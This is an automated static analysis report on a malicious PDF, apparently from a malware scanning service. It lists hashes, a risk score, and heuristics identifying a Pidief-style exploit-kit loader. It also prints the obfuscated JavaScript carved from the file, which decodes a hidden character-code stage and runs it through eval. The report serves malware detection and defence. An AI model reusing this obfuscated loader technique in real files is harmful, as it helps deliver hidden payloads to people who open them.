Malicious PDF — malware analysis report

Static analysis result for SHA-256 eae19920fcdd1da4…

MALICIOUS

PDF

44.5 KB First seen: 2026-05-09
MD5: a5846dd0f77e676e9b5974dcd4b4bc65 SHA-1: d6bed2322982cf55a9d40d1de1eeb6cfc23b795a SHA-256: eae19920fcdd1da4167e898672a1235a57041d4c189716e456aa33b4fc3f4024
86 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions could not be fully determined due to the nature of the embedded script.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF96 445 bytes
SHA-256: 04d64d474523d42a91a2c75fda150df7a43b3dbdfc1880d333a5ef652888f801
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
ujpx='';
jnfj=('qwrwqr','tit');
e('rtvwf=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
tsm=e('String.fr'+rtvwf.substr(0,10));
rel = e(rtvwf.substr(10)['replace'](/u/g,','));
e('k=rel.length');
for (i = 0; i < k; i+=2) {
	lxvis = rel[i+1] + ('erybjkerl',rel[i]);
	ujpx += tsm(lxvis);
}
e(ujpx);

Open this report in the interactive analyzer, or submit your own file for analysis.